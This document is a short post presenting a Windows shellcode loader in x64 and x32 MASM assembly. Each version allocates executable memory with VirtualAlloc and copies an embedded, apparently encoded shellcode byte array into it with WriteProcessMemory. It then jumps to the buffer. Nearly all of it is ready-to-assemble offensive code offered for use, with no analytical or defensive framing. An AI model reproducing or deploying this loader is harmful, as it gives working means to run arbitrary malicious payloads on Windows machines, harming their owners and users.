[ASM] Windows shellcode loader

Shellcode loader 

 x64 bits 

 extrn VirtualAlloc :PROC

extrn GetCurrentProcess :PROC

extrn WriteProcessMemory :PROC

.data

 shellcode DB 48h,31h,0c9h,48h,81h,0e9h,0feh,0ffh,0ffh,0ffh,48h,8dh,05h

 DB 0efh,0ffh,0ffh,0ffh,48h,0bbh,7dh,5dh,14h,08h,0adh,48h,33h

 DB 0cfh,48h,31h,58h,27h,48h,2dh,0f8h,0ffh,0ffh,0ffh,0e2h,0f4h

 DB 0edh,0cdh,84h,98h,3dh,0d8h,0a3h,5fh,0edh,0cdh,84h,98h,0adh

 DB 48h,33h,0cfh

 shellcode_end DB 0

 shellcode_len DQ ?

 hProcess DQ ?

 baseAddr DQ ?

.code

Start PROC

 SUB rsp, 28h

 XOR rcx, rcx

 MOV rdx, 100h

 MOV r8, 1000h

 MOV r9, 40h

 CALL VirtualAlloc

 MOV baseAddr, rax

 CALL GetCurrentProcess

 MOV hProcess, rax

 MOV rcx, hProcess

 MOV rdx, baseAddr

 LEA rax, shellcode

 LEA rbx, shellcode_end

 SUB rbx, rax

 MOV shellcode_len, rbx

 LEA r8, shellcode

 MOV r9, shellcode_len

 SUB rsp, 40

 MOV qword ptr [rsp+32], 0

 CALL WriteProcessMemory

 ADD rsp, 40

 CALL baseAddr

Start ENDP

END 

 x32 bits 

 .model flat, stdcall

VirtualAlloc PROTO STDCALL :DWORD, :DWORD, :DWORD, :DWORD

GetCurrentProcess PROTO STDCALL

WriteProcessMemory PROTO STDCALL :DWORD, :DWORD, :DWORD, :DWORD, :DWORD

.data

 shellcode DB 0b8h,0eeh,17h,0ddh,0c1h,0d9h,0c5h,0d9h,74h,24h,0f4h,5eh,29h

 DB 0c9h,0b1h,04h,83h,0c6h,04h,31h,46h,0eh,03h,0a8h,19h,3fh

 DB 34h,0a4h,0b6h,2fh,27h,54h,26h,0dfh,0d8h,0c4h,0d7h,70h,48h

 DB 48h,33h,0cfh

 shellcode_end DB 0

 hProcess DD ?

 baseAddr DD ?

.code

Start PROC

 PUSH 40h

 PUSH 1000h

 PUSH 100h

 PUSH 0

 CALL VirtualAlloc

 MOV baseAddr, eax

 CALL GetCurrentProcess

 MOV hProcess, eax

 PUSH 0

 PUSH SIZEOF shellcode

 PUSH OFFSET shellcode

 PUSH baseAddr

 PUSH hProcess

 CALL WriteProcessMemory

 CALL baseAddr

Start ENDP

END